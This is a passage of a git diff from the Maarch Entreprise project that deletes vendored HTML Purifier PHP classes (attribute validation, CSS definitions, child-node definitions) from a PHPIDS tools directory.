AttrDef for type - */ - public function get($type) { - - // determine if there is any extra info tacked on - if (strpos($type, '#') !== false) list($type, $string) = explode('#', $type, 2); - else $string = ''; - - if (!isset($this->info[$type])) { - trigger_error('Cannot retrieve undefined attribute type ' . $type, E_USER_ERROR); - return; - } - - return $this->info[$type]->make($string); - - } - - /** - * Sets a new implementation for a type - * @param $type String type name - * @param $impl Object AttrDef for type - */ - public function set($type, $impl) { - $this->info[$type] = $impl; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrValidator.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrValidator.php deleted file mode 100755 index fb9d92e8562705de9c44592bba4943bea63b3116..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrValidator.php +++ /dev/null @@ -1,162 +0,0 @@ -<?php - -/** - * Validates the attributes of a token. Doesn't manage required attributes - * very well. The only reason we factored this out was because RemoveForeignElements - * also needed it besides ValidateAttributes. - */ -class HTMLPurifier_AttrValidator -{ - - /** - * Validates the attributes of a token, returning a modified token - * that has valid tokens - * @param $token Reference to token to validate. We require a reference - * because the operation this class performs on the token are - * not atomic, so the context CurrentToken to be updated - * throughout - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - */ - public function validateToken(&$token, &$config, $context) { - - $definition = $config->getHTMLDefinition(); - $e =& $context->get('ErrorCollector', true); - - // initialize IDAccumulator if necessary - $ok =& $context->get('IDAccumulator', true); - if (!$ok) { - $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); - $context->register('IDAccumulator', $id_accumulator); - } - - // initialize CurrentToken if necessary - $current_token =& $context->get('CurrentToken', true); - if (!$current_token) $context->register('CurrentToken', $token); - - if ( - !$token instanceof HTMLPurifier_Token_Start && - !$token instanceof HTMLPurifier_Token_Empty - ) return $token; - - // create alias to global definition array, see also $defs - // DEFINITION CALL - $d_defs = $definition->info_global_attr; - - // don't update token until the very end, to ensure an atomic update - $attr = $token->attr; - - // do global transformations (pre) - // nothing currently utilizes this - foreach ($definition->info_attr_transform_pre as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e) { - if ($attr != $o) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - } - - // do local transformations only applicable to this element (pre) - // ex. <p align="right"> to <p style="text-align:right;"> - foreach ($definition->info[$token->name]->attr_transform_pre as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e) { - if ($attr != $o) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - } - - // create alias to this element's attribute definition array, see - // also $d_defs (global attribute definition array) - // DEFINITION CALL - $defs = $definition->info[$token->name]->attr; - - $attr_key = false; - $context->register('CurrentAttr', $attr_key); - - // iterate through all the attribute keypairs - // Watch out for name collisions: $key has previously been used - foreach ($attr as $attr_key => $value) { - - // call the definition - if ( isset($defs[$attr_key]) ) { - // there is a local definition defined - if ($defs[$attr_key] === false) { - // We've explicitly been told not to allow this element. - // This is usually when there's a global definition - // that must be overridden. - // Theoretically speaking, we could have a - // AttrDef_DenyAll, but this is faster! - $result = false; - } else { - // validate according to the element's definition - $result = $defs[$attr_key]->validate( - $value, $config, $context - ); - } - } elseif ( isset($d_defs[$attr_key]) ) { - // there is a global definition defined, validate according - // to the global definition - $result = $d_defs[$attr_key]->validate( - $value, $config, $context - ); - } else { - // system never heard of the attribute? DELETE! - $result = false; - } - - // put the results into effect - if ($result === false || $result === null) { - // this is a generic error message that should replaced - // with more specific ones when possible - if ($e) $e->send(E_ERROR, 'AttrValidator: Attribute removed'); - - // remove the attribute - unset($attr[$attr_key]); - } elseif (is_string($result)) { - // generally, if a substitution is happening, there - // was some sort of implicit correction going on. We'll - // delegate it to the attribute classes to say exactly what. - - // simple substitution - $attr[$attr_key] = $result; - } else { - // nothing happens - } - - // we'd also want slightly more complicated substitution - // involving an array as the return value, - // although we're not sure how colliding attributes would - // resolve (certain ones would be completely overriden, - // others would prepend themselves). - } - - $context->destroy('CurrentAttr'); - - // post transforms - - // global (error reporting untested) - foreach ($definition->info_attr_transform_post as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e) { - if ($attr != $o) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - } - - // local (error reporting untested) - foreach ($definition->info[$token->name]->attr_transform_post as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e) { - if ($attr != $o) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - } - - $token->attr = $attr; - - // destroy CurrentToken if we made it ourselves - if (!$current_token) $context->destroy('CurrentToken'); - - } - - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php deleted file mode 100755 index 7c3e2307eeba28d1f1b841fe6ef486b92dff3903..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php +++ /dev/null @@ -1,104 +0,0 @@ -<?php - -// constants are slow, so we use as few as possible -if (!defined('HTMLPURIFIER_PREFIX')) { - define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..')); -} - -// accomodations for versions earlier than 5.0.2 -// borrowed from PHP_Compat, LGPL licensed, by Aidan Lister <aidan@php.net> -if (!defined('PHP_EOL')) { - switch (strtoupper(substr(PHP_OS, 0, 3))) { - case 'WIN': - define('PHP_EOL', "\r\n"); - break; - case 'DAR': - define('PHP_EOL', "\r"); - break; - default: - define('PHP_EOL', "\n"); - } -} - -/** - * Bootstrap class that contains meta-functionality for HTML Purifier such as - * the autoload function. - * - * @note - * This class may be used without any other files from HTML Purifier. - */ -class HTMLPurifier_Bootstrap -{ - - /** - * Autoload function for HTML Purifier - * @param $class Class to load - */ - public static function autoload($class) { - $file = HTMLPurifier_Bootstrap::getPath($class); - if (!$file) return false; - // Technically speaking, it should be ok and more efficient to - // just do 'require', but Antonio Parraga reports that with - // Zend extensions such as Zend debugger and APC, this invariant - // may be broken. Since we have efficient alternatives, pay - // the cost here and avoid the bug. - require_once HTMLPURIFIER_PREFIX . '/' . $file; - return true; - } - - /** - * Returns the path for a specific class. - */ - public static function getPath($class) { - if (strncmp('HTMLPurifier', $class, 12) !== 0) return false; - // Custom implementations - if (strncmp('HTMLPurifier_Language_', $class, 22) === 0) { - $code = str_replace('_', '-', substr($class, 22)); - $file = 'HTMLPurifier/Language/classes/' . $code . '.php'; - } else { - $file = str_replace('_', '/', $class) . '.php'; - } - if (!file_exists(HTMLPURIFIER_PREFIX . '/' . $file)) return false; - return $file; - } - - /** - * "Pre-registers" our autoloader on the SPL stack. - */ - public static function registerAutoload() { - $autoload = array('HTMLPurifier_Bootstrap', 'autoload'); - if ( ($funcs = spl_autoload_functions()) === false ) { - spl_autoload_register($autoload); - } elseif (function_exists('spl_autoload_unregister')) { - $buggy = version_compare(PHP_VERSION, '5.2.11', '<'); - $compat = version_compare(PHP_VERSION, '5.1.2', '<=') && - version_compare(PHP_VERSION, '5.1.0', '>='); - foreach ($funcs as $func) { - if ($buggy && is_array($func)) { - // :TRICKY: There are some compatibility issues and some - // places where we need to error out - $reflector = new ReflectionMethod($func[0], $func[1]); - if (!$reflector->isStatic()) { - throw new Exception(' - HTML Purifier autoloader registrar is not compatible - with non-static object methods due to PHP Bug #44144; - Please do not use HTMLPurifier.autoload.php (or any - file that includes this file); instead, place the code: - spl_autoload_register(array(\'HTMLPurifier_Bootstrap\', \'autoload\')) - after your own autoloaders. - '); - } - // Suprisingly, spl_autoload_register supports the - // Class::staticMethod callback format, although call_user_func doesn't - if ($compat) $func = implode('::', $func); - } - spl_autoload_unregister($func); - } - spl_autoload_register($autoload); - foreach ($funcs as $func) spl_autoload_register($func); - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/CSSDefinition.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/CSSDefinition.php deleted file mode 100755 index 9d0460cadecaf2bbcdad93e14cb0477b28ddd01a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/CSSDefinition.php +++ /dev/null @@ -1,322 +0,0 @@ -<?php - -/** - * Defines allowed CSS attributes and what their values are. - * @see HTMLPurifier_HTMLDefinition - */ -class HTMLPurifier_CSSDefinition extends HTMLPurifier_Definition -{ - - public $type = 'CSS'; - - /** - * Assoc array of attribute name to definition object. - */ - public $info = array(); - - /** - * Constructs the info array. The meat of this class. - */ - protected function doSetup($config) { - - $this->info['text-align'] = new HTMLPurifier_AttrDef_Enum( - array('left', 'right', 'center', 'justify'), false); - - $border_style = - $this->info['border-bottom-style'] = - $this->info['border-right-style'] = - $this->info['border-left-style'] = - $this->info['border-top-style'] = new HTMLPurifier_AttrDef_Enum( - array('none', 'hidden', 'dotted', 'dashed', 'solid', 'double', - 'groove', 'ridge', 'inset', 'outset'), false); - - $this->info['border-style'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_style); - - $this->info['clear'] = new HTMLPurifier_AttrDef_Enum( - array('none', 'left', 'right', 'both'), false); - $this->info['float'] = new HTMLPurifier_AttrDef_Enum( - array('none', 'left', 'right'), false); - $this->info['font-style'] = new HTMLPurifier_AttrDef_Enum( - array('normal', 'italic', 'oblique'), false); - $this->info['font-variant'] = new HTMLPurifier_AttrDef_Enum( - array('normal', 'small-caps'), false); - - $uri_or_none = new HTMLPurifier_AttrDef_CSS_Composite( - array( - new HTMLPurifier_AttrDef_Enum(array('none')), - new HTMLPurifier_AttrDef_CSS_URI() - ) - ); - - $this->info['list-style-position'] = new HTMLPurifier_AttrDef_Enum( - array('inside', 'outside'), false); - $this->info['list-style-type'] = new HTMLPurifier_AttrDef_Enum( - array('disc', 'circle', 'square', 'decimal', 'lower-roman', - 'upper-roman', 'lower-alpha', 'upper-alpha', 'none'), false); - $this->info['list-style-image'] = $uri_or_none; - - $this->info['list-style'] = new HTMLPurifier_AttrDef_CSS_ListStyle($config); - - $this->info['text-transform'] = new HTMLPurifier_AttrDef_Enum( - array('capitalize', 'uppercase', 'lowercase', 'none'), false); - $this->info['color'] = new HTMLPurifier_AttrDef_CSS_Color(); - - $this->info['background-image'] = $uri_or_none; - $this->info['background-repeat'] = new HTMLPurifier_AttrDef_Enum( - array('repeat', 'repeat-x', 'repeat-y', 'no-repeat') - ); - $this->info['background-attachment'] = new HTMLPurifier_AttrDef_Enum( - array('scroll', 'fixed') - ); - $this->info['background-position'] = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); - - $border_color = - $this->info['border-top-color'] = - $this->info['border-bottom-color'] = - $this->info['border-left-color'] = - $this->info['border-right-color'] = - $this->info['background-color'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('transparent')), - new HTMLPurifier_AttrDef_CSS_Color() - )); - - $this->info['background'] = new HTMLPurifier_AttrDef_CSS_Background($config); - - $this->info['border-color'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_color); - - $border_width = - $this->info['border-top-width'] = - $this->info['border-bottom-width'] = - $this->info['border-left-width'] = - $this->info['border-right-width'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('thin', 'medium', 'thick')), - new HTMLPurifier_AttrDef_CSS_Length('0') //disallow negative - )); - - $this->info['border-width'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_width); - - $this->info['letter-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('normal')), - new HTMLPurifier_AttrDef_CSS_Length() - )); - - $this->info['word-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('normal')), - new HTMLPurifier_AttrDef_CSS_Length() - )); - - $this->info['font-size'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('xx-small', 'x-small', - 'small', 'medium', 'large', 'x-large', 'xx-large', - 'larger', 'smaller')), - new HTMLPurifier_AttrDef_CSS_Percentage(), - new HTMLPurifier_AttrDef_CSS_Length() - )); - - $this->info['line-height'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('normal')), - new HTMLPurifier_AttrDef_CSS_Number(true), // no negatives - new HTMLPurifier_AttrDef_CSS_Length('0'), - new HTMLPurifier_AttrDef_CSS_Percentage(true) - )); - - $margin = - $this->info['margin-top'] = - $this->info['margin-bottom'] = - $this->info['margin-left'] = - $this->info['margin-right'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length(), - new HTMLPurifier_AttrDef_CSS_Percentage(), - new HTMLPurifier_AttrDef_Enum(array('auto')) - )); - - $this->info['margin'] = new HTMLPurifier_AttrDef_CSS_Multiple($margin); - - // non-negative - $padding = - $this->info['padding-top'] = - $this->info['padding-bottom'] = - $this->info['padding-left'] = - $this->info['padding-right'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length('0'), - new HTMLPurifier_AttrDef_CSS_Percentage(true) - )); - - $this->info['padding'] = new HTMLPurifier_AttrDef_CSS_Multiple($padding); - - $this->info['text-indent'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length(), - new HTMLPurifier_AttrDef_CSS_Percentage() - )); - - $trusted_wh = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length('0'), - new HTMLPurifier_AttrDef_CSS_Percentage(true), - new HTMLPurifier_AttrDef_Enum(array('auto')) - )); - $max = $config->get('CSS.MaxImgLength'); - - $this->info['width'] = - $this->info['height'] = - $max === null ? - $trusted_wh : - new HTMLPurifier_AttrDef_Switch('img', - // For img tags: - new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length('0', $max), - new HTMLPurifier_AttrDef_Enum(array('auto')) - )), - // For everyone else: - $trusted_wh - ); - - $this->info['text-decoration'] = new HTMLPurifier_AttrDef_CSS_TextDecoration(); - - $this->info['font-family'] = new HTMLPurifier_AttrDef_CSS_FontFamily(); - - // this could use specialized code - $this->info['font-weight'] = new HTMLPurifier_AttrDef_Enum( - array('normal', 'bold', 'bolder', 'lighter', '100', '200', '300', - '400', '500', '600', '700', '800', '900'), false); - - // MUST be called after other font properties, as it references - // a CSSDefinition object - $this->info['font'] = new HTMLPurifier_AttrDef_CSS_Font($config); - - // same here - $this->info['border'] = - $this->info['border-bottom'] = - $this->info['border-top'] = - $this->info['border-left'] = - $this->info['border-right'] = new HTMLPurifier_AttrDef_CSS_Border($config); - - $this->info['border-collapse'] = new HTMLPurifier_AttrDef_Enum(array( - 'collapse', 'separate')); - - $this->info['caption-side'] = new HTMLPurifier_AttrDef_Enum(array( - 'top', 'bottom')); - - $this->info['table-layout'] = new HTMLPurifier_AttrDef_Enum(array( - 'auto', 'fixed')); - - $this->info['vertical-align'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('baseline', 'sub', 'super', - 'top', 'text-top', 'middle', 'bottom', 'text-bottom')), - new HTMLPurifier_AttrDef_CSS_Length(), - new HTMLPurifier_AttrDef_CSS_Percentage() - )); - - $this->info['border-spacing'] = new HTMLPurifier_AttrDef_CSS_Multiple(new HTMLPurifier_AttrDef_CSS_Length(), 2); - - // partial support - $this->info['white-space'] = new HTMLPurifier_AttrDef_Enum(array('nowrap')); - - if ($config->get('CSS.Proprietary')) { - $this->doSetupProprietary($config); - } - - if ($config->get('CSS.AllowTricky')) { - $this->doSetupTricky($config); - } - - if ($config->get('CSS.Trusted')) { - $this->doSetupTrusted($config); - } - - $allow_important = $config->get('CSS.AllowImportant'); - // wrap all attr-defs with decorator that handles !important - foreach ($this->info as $k => $v) { - $this->info[$k] = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($v, $allow_important); - } - - $this->setupConfigStuff($config); - } - - protected function doSetupProprietary($config) { - // Internet Explorer only scrollbar colors - $this->info['scrollbar-arrow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-base-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-darkshadow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-face-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-highlight-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-shadow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - - // technically not proprietary, but CSS3, and no one supports it - $this->info['opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - $this->info['-moz-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - $this->info['-khtml-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - - // only opacity, for now - $this->info['filter'] = new HTMLPurifier_AttrDef_CSS_Filter(); - - } - - protected function doSetupTricky($config) { - $this->info['display'] = new HTMLPurifier_AttrDef_Enum(array( - 'inline', 'block', 'list-item', 'run-in', 'compact', - 'marker', 'table', 'inline-table', 'table-row-group', - 'table-header-group', 'table-footer-group', 'table-row', - 'table-column-group', 'table-column', 'table-cell', 'table-caption', 'none' - )); - $this->info['visibility'] = new HTMLPurifier_AttrDef_Enum(array( - 'visible', 'hidden', 'collapse' - )); - $this->info['overflow'] = new HTMLPurifier_AttrDef_Enum(array('visible', 'hidden', 'auto', 'scroll')); - } - - protected function doSetupTrusted($config) { - $this->info['position'] = new HTMLPurifier_AttrDef_Enum(array( - 'static', 'relative', 'absolute', 'fixed' - )); - $this->info['top'] = - $this->info['left'] = - $this->info['right'] = - $this->info['bottom'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length(), - new HTMLPurifier_AttrDef_CSS_Percentage(), - new HTMLPurifier_AttrDef_Enum(array('auto')), - )); - $this->info['z-index'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Integer(), - new HTMLPurifier_AttrDef_Enum(array('auto')), - )); - } - - /** - * Performs extra config-based processing. Based off of - * HTMLPurifier_HTMLDefinition. - * @todo Refactor duplicate elements into common class (probably using - * composition, not inheritance). - */ - protected function setupConfigStuff($config) { - - // setup allowed elements - $support = "(for information on implementing this, see the ". - "support forums) "; - $allowed_properties = $config->get('CSS.AllowedProperties'); - if ($allowed_properties !== null) { - foreach ($this->info as $name => $d) { - if(!isset($allowed_properties[$name])) unset($this->info[$name]); - unset($allowed_properties[$name]); - } - // emit errors - foreach ($allowed_properties as $name => $d) { - // :TODO: Is this htmlspecialchars() call really necessary? - $name = htmlspecialchars($name); - trigger_error("Style attribute '$name' is not supported $support", E_USER_WARNING); - } - } - - $forbidden_properties = $config->get('CSS.ForbiddenProperties'); - if ($forbidden_properties !== null) { - foreach ($this->info as $name => $d) { - if (isset($forbidden_properties[$name])) { - unset($this->info[$name]); - } - } - } - - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef.php deleted file mode 100755 index 2b3456cd610d856f08416d01434d7c1e03792b62..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef.php +++ /dev/null @@ -1,48 +0,0 @@ -<?php - -/** - * Defines allowed child nodes and validates tokens against it. - */ -abstract class HTMLPurifier_ChildDef -{ - /** - * Type of child definition, usually right-most part of class name lowercase. - * Used occasionally in terms of context. - */ - public $type; - - /** - * Bool that indicates whether or not an empty array of children is okay - * - * This is necessary for redundant checking when changes affecting - * a child node may cause a parent node to now be disallowed. - */ - public $allow_empty; - - /** - * Lookup array of all elements that this definition could possibly allow - */ - public $elements = array(); - - /** - * Get lookup of tag names that should not close this element automatically. - * All other elements will do so. - */ - public function getAllowedElements($config) { - return $this->elements; - } - - /** - * Validates nodes according to definition and returns modification. - * - * @param $tokens_of_children Array of HTMLPurifier_Token - * @param $config HTMLPurifier_Config object - * @param $context HTMLPurifier_Context object - * @return bool true to leave nodes as is - * @return bool false to remove parent node - * @return array of replacement child tokens - */ - abstract public function validateChildren($tokens_of_children, $config, $context); -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Chameleon.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Chameleon.php deleted file mode 100755 index 4b1956f0dd29fe80fda7a7e39369858caabfb8ed..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Chameleon.php +++ /dev/null @@ -1,48 +0,0 @@ -<?php - -/** - * Definition that uses different definitions depending on context. - * - * The del and ins tags are notable because they allow different types of - * elements depending on whether or not they're in a block or inline context. - * Chameleon allows this behavior to happen by using two different - * definitions depending on context. While this somewhat generalized, - * it is specifically intended for those two tags. - */ -class HTMLPurifier_ChildDef_Chameleon extends HTMLPurifier_ChildDef -{ - - /** - * Instance of the definition object to use when inline. Usually stricter. - */ - public $inline; - - /** - * Instance of the definition object to use when block. - */ - public $block; - - public $type = 'chameleon'; - - /** - * @param $inline List of elements to allow when inline. - * @param $block List of elements to allow when block. - */ - public function __construct($inline, $block) { - $this->inline = new HTMLPurifier_ChildDef_Optional($inline); - $this->block = new HTMLPurifier_ChildDef_Optional($block); - $this->elements = $this->block->elements; - } - - public function validateChildren($tokens_of_children, $config, $context) { - if ($context->get('IsInline') === false) { - return $this->block->validateChildren( - $tokens_of_children, $config, $context); - } else { - return $this->inline->validateChildren( - $tokens_of_children, $config, $context); - } - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Custom.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Custom.php deleted file mode 100755 index b7816c5edda7f52137c6d4a108930cde65de565f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Custom.php +++ /dev/null @@ -1,90 +0,0 @@ -<?php - -/** - * Custom validation class, accepts DTD child definitions - * - * @warning Currently this class is an all or nothing proposition, that is, - * it will only give a bool return value. - */ -class HTMLPurifier_ChildDef_Custom extends HTMLPurifier_ChildDef -{ - public $type = 'custom'; - public $allow_empty = false; - /** - * Allowed child pattern as defined by the DTD - */ - public $dtd_regex; - /** - * PCRE regex derived from $dtd_regex - * @private - */ - private $_pcre_regex; - /** - * @param $dtd_regex Allowed child pattern from the DTD - */ - public function __construct($dtd_regex) { - $this->dtd_regex = $dtd_regex; - $this->_compileRegex(); - } - /** - * Compiles the PCRE regex from a DTD regex ($dtd_regex to $_pcre_regex) - */ - protected function _compileRegex() { - $raw = str_replace(' ', '', $this->dtd_regex); - if ($raw{0} != '(') { - $raw = "($raw)"; - } - $el = '[#a-zA-Z0-9_.-]+'; - $reg = $raw; - - // COMPLICATED! AND MIGHT BE BUGGY! I HAVE NO CLUE WHAT I'M - // DOING! Seriously: if there's problems, please report them. - - // collect all elements into the $elements array - preg_match_all("/$el/", $reg, $matches); - foreach ($matches[0] as $match) { - $this->elements[$match] = true; - } - - // setup all elements as parentheticals with leading commas - $reg = preg_replace("/$el/", '(,\\0)', $reg); - - // remove commas when they were not solicited - $reg = preg_replace("/([^,(|]\(+),/", '\\1', $reg); - - // remove all non-paranthetical commas: they are handled by first regex - $reg = preg_replace("/,\(/", '(', $reg); - - $this->_pcre_regex = $reg; - } - public function validateChildren($tokens_of_children, $config, $context) { - $list_of_children = ''; - $nesting = 0; // depth into the nest - foreach ($tokens_of_children as $token) { - if (!empty($token->is_whitespace)) continue; - - $is_child = ($nesting == 0); // direct - - if ($token instanceof HTMLPurifier_Token_Start) { - $nesting++; - } elseif ($token instanceof HTMLPurifier_Token_End) { - $nesting--; - } - - if ($is_child) { - $list_of_children .= $token->name . ','; - } - } - // add leading comma to deal with stray comma declarations - $list_of_children = ',' . rtrim($list_of_children, ','); - $okay = - preg_match( - '/^,?'.$this->_pcre_regex.'$/', - $list_of_children - ); - - return (bool) $okay; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Empty.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Empty.php deleted file mode 100755 index 3ab3ba25b939545adbc44e870513adab0cb223ca..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Empty.php +++ /dev/null @@ -1,20 +0,0 @@ -<?php - -/** - * Definition that disallows all elements. - * @warning validateChildren() in this class is actually never called, because - * empty elements are corrected in HTMLPurifier_Strategy_MakeWellFormed - * before child definitions are parsed in earnest by - * HTMLPurifier_Strategy_FixNesting. - */ -class HTMLPurifier_ChildDef_Empty extends HTMLPurifier_ChildDef -{ - public $allow_empty = true; - public $type = 'empty'; - public function __construct() {} - public function validateChildren($tokens_of_children, $config, $context) { - return array(); - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Optional.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Optional.php deleted file mode 100755 index 02efaeb1b13b165c208d31950e9e16550111a3cc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Optional.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -/** - * Definition that allows a set of elements, and allows no children. - * @note This is a hack to reuse code from HTMLPurifier_ChildDef_Required, - * really, one shouldn't inherit from the other. Only altered behavior - * is to overload a returned false with an array. Thus, it will never - * return false. - */ -class HTMLPurifier_ChildDef_Optional extends HTMLPurifier_ChildDef_Required -{ - public $allow_empty = true; - public $type = 'optional'; - public function validateChildren($tokens_of_children, $config, $context) { - $result = parent::validateChildren($tokens_of_children, $config, $context); - // we assume that $tokens_of_children is not modified - if ($result === false) { - if (empty($tokens_of_children)) return true; - elseif ($this->whitespace) return $tokens_of_children; - else return array(); - } - return $result; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Required.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Required.php deleted file mode 100755 index 7751c12aa540a8e40fac334dc7d57d56a2dcd594..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Required.php +++ /dev/null @@ -1,117 +0,0 @@ -<?php - -/** - * Definition that allows a set of elements, but disallows empty children. - */ -class HTMLPurifier_ChildDef_Required extends HTMLPurifier_ChildDef -{ - /** - * Lookup table of allowed elements. - * @public - */ - public $elements = array(); - /** - * Whether or not the last passed node was all whitespace. - */ - protected $whitespace = false; - /** - * @param $elements List of allowed element names (lowercase). - */ - public function __construct($elements) { - if (is_string($elements)) { - $elements = str_replace(' ', '', $elements); - $elements = explode('|', $elements); - } - $keys = array_keys($elements); - if ($keys == array_keys($keys)) { - $elements = array_flip($elements); - foreach ($elements as $i => $x) { - $elements[$i] = true; - if (empty($i)) unset($elements[$i]); // remove blank - } - } - $this->elements = $elements; - } - public $allow_empty = false; - public $type = 'required'; - public function validateChildren($tokens_of_children, $config, $context) { - // Flag for subclasses - $this->whitespace = false; - - // if there are no tokens, delete parent node - if (empty($tokens_of_children)) return false; - - // the new set of children - $result = array(); - - // current depth into the nest - $nesting = 0; - - // whether or not we're deleting a node - $is_deleting = false; - - // whether or not parsed character data is allowed - // this controls whether or not we silently drop a tag - // or generate escaped HTML from it - $pcdata_allowed = isset($this->elements['#PCDATA']); - - // a little sanity check to make sure it's not ALL whitespace - $all_whitespace = true; - - // some configuration - $escape_invalid_children = $config->get('Core.EscapeInvalidChildren'); - - // generator - $gen = new HTMLPurifier_Generator($config, $context); - - foreach ($tokens_of_children as $token) { - if (!empty($token->is_whitespace)) { - $result[] = $token; - continue; - } - $all_whitespace = false; // phew, we're not talking about whitespace - - $is_child = ($nesting == 0); - - if ($token instanceof HTMLPurifier_Token_Start) { - $nesting++; - } elseif ($token instanceof HTMLPurifier_Token_End) { - $nesting--; - } - - if ($is_child) { - $is_deleting = false; - if (!isset($this->elements[$token->name])) { - $is_deleting = true; - if ($pcdata_allowed && $token instanceof HTMLPurifier_Token_Text) { - $result[] = $token; - } elseif ($pcdata_allowed && $escape_invalid_children) { - $result[] = new HTMLPurifier_Token_Text( - $gen->generateFromToken($token) - ); - } 